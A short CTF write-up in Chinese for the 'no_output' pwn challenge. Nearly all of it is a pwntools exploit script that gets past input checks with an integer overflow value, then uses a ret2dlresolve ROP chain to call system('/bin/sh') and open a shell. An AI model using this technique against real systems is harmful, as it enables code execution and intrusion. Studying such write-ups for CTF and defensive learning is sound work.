no_output
可以说简单,也可以说难的题目。会用ret2dlresolve就简单,不知道就难。
exp:
from pwn import * import time context.log_level = 'debug' #p=remote("39.105.138.97","1234") s=process('./test') s.send("\x00") raw_input(">") #gdb.attach(s) s.send('A'*0x20) raw_input(">") py="hello_boy\0" s.send(py) raw_input(">") s.sendline("-2147483648") raw_input(">") s.sendline("-1") raw_input(">") rop = ROP("./test") elf = ELF("./test") dlresolve = Ret2dlresolvePayload(elf,symbol="system",args=["/bin/sh"]) rop.read(0,dlresolve.data_addr) rop.ret2dlresolve(dlresolve) raw_rop = rop.chain() print(rop.dump()) print(hex(dlresolve.data_addr)) payload ='A'*76+p32(0x80490C0)+p32(0x8049582)+p32(0)+p32(0x804de00)+p32(0x8049030)+p32(0x05a04)+p32(0)+p32(0x804de20)+"/bin/sh\x00" s.sendline(payload) raw_input(">") payload= dlresolve.payload s.sendline(payload) s.interactive()
pwntools yyds。